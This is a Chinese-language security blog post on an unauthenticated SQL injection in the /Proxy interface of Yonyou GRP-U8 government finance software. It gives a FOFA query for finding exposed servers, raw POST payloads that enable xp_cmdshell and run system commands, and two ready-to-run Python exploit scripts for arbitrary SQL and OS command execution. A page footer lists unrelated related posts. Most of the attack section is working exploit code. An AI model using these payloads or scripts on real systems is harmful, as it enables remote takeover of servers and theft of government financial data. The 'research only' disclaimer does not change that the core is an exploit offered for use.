文章目录

  • 声明
  • 一、漏洞详情
  • 二、漏洞描述
  • 三、利用条件
  • 四、漏洞POC
  • 五、利用脚本
  • 六、漏洞代码分析

声明

本篇文章仅限技术学习与安全研究,切勿将文中所涉及的攻击手段用于非授权下渗透行为,造成任何后果与本文和作者无关。


一、漏洞详情

用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。

二、漏洞描述

该漏洞源于应用程序解析XML输入时没有禁止外部实体的加载,导致可加载恶意外部文件。最终产生两种后果,一是可以进行SQL注入,执行SQL语句;二是导致命令执行,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

用友 GRP-U8 Proxy 接口存在 SQL 注入漏洞,攻击者通过漏洞可以获取服务器权限。


FOFA:title=“GRP-U8” 或 title=“用友 GRP-U8 行政事业内控管理软件”


三、利用条件

无需登录

四、漏洞POC

POST /Proxy HTTP/1.1
Accept: *
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)
Host: {{Hostname}}
Content-type: application/x-www-form-urlencoded
Content-Length: 349
Connection: close

//查询数据库版本(MSSQL),并回显cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><PARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select @@version</DATA></PARAM></PARAMS> </R9FUNCTION></R9PACKET>//查询当前数据库名称cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><PARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select db_name()</DATA></PARAM></PARAMS> </R9FUNCTION></R9PACKET>

以POST方式发送如下几个Payload,开启 xp_cmdshell 操作,查询到当前数据库名称后,第一个包需要修改当前库名

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">use master</DATA></PARAM></
PARAMS></R9FUNCTION></R9PACKET>cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'show adv
anced options',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM><
/PARAMS></R9FUNCTION></R9PACKET>cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'xp_cmdsh
ell',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM><
/PARAMS></R9FUNCTION></R9PACKET>//执行dir命令
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell "dir"</DAT
A></PARAM></PARAMS></R9FUNCTION></R9PACKET>

上面几个POC大概意思就是开启xp_cmdshell指令并刷新配置

USE master
EXEC sp_configure ‘show advanced options’,1 //启用xp_cmdshell的高级配置 RECONFIGURE --刷新配置
RECONFIGURE //先执行一次刷新,处理上次的配置
EXEC sp_configure ‘xp_cmdshell’,1 //打开xp_cmdshell,可以调用SQL系统 之外的命令
RECONFIGURE //刷新配置

五、利用脚本

GRP-U8_SQLinjection_POC

#!/usr/bin/env python2
#coding:utf-8
import re
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
if len(sys.argv) != 3:print "Usage: python poc.py url sql"sys.exit(1)
url = sys.argv[1]
sql = sys.argv[2]
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36","Content-Type":"application/x-www-form-urlencoded",
}
def poc(url,sql):url = url + '/Proxy'print urldata = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">'+sql+'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'res = requests.post(url,headers=headers,data=data)res = res.textresult_row = r'<ROW COLUMN1="(.*?)"'ROW = re.findall(result_row,res,re.S | re.M)print '查询成功!'print ROW[0]
if __name__ == "__main__":poc(sys.argv[1],sys.argv[2])

GRP-U8_SQLinjection_EXP

#!/usr/bin/env python2
#coding:utf-8
import re
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
if len(sys.argv) != 3:print "Usage: python exp.py url cmd"sys.exit(1)
url = sys.argv[1]
cmd = sys.argv[2]
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36","Content-Type":"application/x-www-form-urlencoded",
}
def exp(url,cmd):url = url+ '/Proxy'print urldata = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell \''+cmd+'\'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'res = requests.post(url,headers=headers,data=data)res = res.textresult_row = r'<ROW output="(.*?)" />'ROW = re.findall(result_row,res,re.S | re.M)print '命令执行成功!'for i in range(len(ROW)):print ROW[i]
if __name__ == "__main__":exp(sys.argv[1],sys.argv[2])

六、漏洞代码分析

可参考文章:https://baijiahao.baidu.com/s?id=1681131145841849209&wfr=spider&for=pc

用友 GRP-U8 Proxy XXE-SQL注入漏洞相关推荐

  1. Backtrack5 SQL注入漏洞探测

    SQLMAP,它是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL. SQLMAP ...

  2. Sqlmap查找SQL注入漏洞入门

    Sqlmap查找SQL注入漏洞入门 1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使 ...

  3. wap建站程序_因建站系统存在SQL注入漏洞,国内两家网络公司被CNVD公开点名

    2月27日,国家信息安全漏洞共享平台(CNVD)的漏洞列表收录了两个新的SQL注入漏洞--CNVD-2019-04308和CNVD-2019-05341.根据CNVD公布的信息来看,这两个漏洞的危害级 ...

  4. SQL注入漏洞攻防必杀技

    SQL注入是常见的利用程序漏洞进行攻击的方法,是很多入门级"黑客"喜欢采用的攻击方式,近来网上 对它的讨论很热烈,所以我在本期专题中为读者揭示SQL攻击的主要原理以及如何防范这种攻 ...

  5. [转]SQL注入漏洞攻防必杀技

    SQL注入是常见的利用程序漏洞进行攻击的方法,是很多入门级"黑客"喜欢采用的攻击方式,近来网上 对它的讨论很热烈,所以我在本期专题中为读者揭示SQL攻击的主要原理以及如何防范这种攻 ...

  6. 为解决存储型xss和sql注入漏洞,创建对应的全局过滤器

    1.存储型xss漏洞 系统由于未对参数过滤,导致可以存储html特殊标签,且返回的数据未经处理显示在web页面中导致存在存储型xss,攻击者可利用xss对用户发起鱼叉攻击获取cookie进入系统.为解 ...

  7. mambo 服务商规定的mysql密码,Mambo com_content远程SQL注入漏洞

    发布日期:2005-06-16更新日期:2005-06-16受影响系统: Mambo Mambo Open Source <= 4.5.2.2不受影响系统: Mambo Mambo Open S ...

  8. 易想团购 注入 user.php,易想团购系统通杀SQL注入漏洞分析及利用漏洞预警 -电脑资料...

    刚打开红黑看到J8基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序, 找到get_client_ip()函数 ...

  9. SQL注入漏洞的检测与防范技术

    提 要   本文从SQL注入的基本概念和注入原理入手,分析总结了SQL注入漏洞的检测及其防范技术措施. 关键词  SQL注入漏洞 检测 防范技术 引 言    近几年来随着计算机网络和WEB技术的飞速 ...

  10. Apache 'mod_accounting'模块SQL注入漏洞(CVE-2013-5697)

    漏洞版本: mod_accounting 0.5 漏洞描述: BUGTRAQ ID: 62677 CVE ID: CVE-2013-5697mod_accounting是Apache 1.3.x上的流 ...

最新文章

  1. 偷盖茨、奥巴马 Twitter 的黑客被抓了,年轻到你想不到!
  2. intellij haskell 插件使用分享
  3. mysql相同姓名只显示第一条_SQL中遇到多条相同内容只取一条的最简单实现方法...
  4. python上传excel文件_flask上传excel文件,无须存储,直接读取内容
  5. centos5.9 mysql_CentOS 5.9系统服务器使用yum安装Apache+PHP+MySQL环境
  6. CUBA Platform 6.3的新增功能
  7. [Leedcode][JAVA][第55题][跳跃游戏][贪心][动态规划]
  8. 计算机内部运算的部件是什么意思,运算器是执行什么和什么运算的部件
  9. echart 高度 不用 不撑满_注意厨房台面高度及细节 装出省心舒服 装出事半功倍...
  10. 知乎上的44条神回复,针针见血,看完整个人通透多了
  11. 访问HDFS报错:org.apache.hadoop.security.AccessControlException: Permission denied
  12. 线程池(ThreadPoolExecutor ) 的 创建、关闭、监控
  13. linux cat 文件合并,linux cat两个文件是肿么合并的
  14. POJ 2387 Dijkstra
  15. 关于跨团队合作的一些思考
  16. 产品部和业务部门是什么关系
  17. oracle otl,使用OTL操作Oracle数据库
  18. 非常全面的前端协作规范
  19. [机房练习赛4.7] 深意 KMP
  20. 这些用 Python 写的牛逼程序/脚本,你玩过吗?

热门文章

  1. 二进制数转化为十进制数(栈的学习练习)
  2. Simotion应用与组网之十六同步与热备
  3. Python计算机视觉编程 第三章 图像到图像的映射
  4. android调用系统照相机保存照片以及压缩上传下载
  5. spring-boot-starter自动装配流程总结
  6. 打造自己的超小型服务器
  7. 微信突然公开阅读数背后
  8. ANSA二次开发 - 在PyCharm上搭建ANSA/META二次开发环境
  9. vue+wps(wps-view-vue)
  10. 机器学习 入门笔记(1)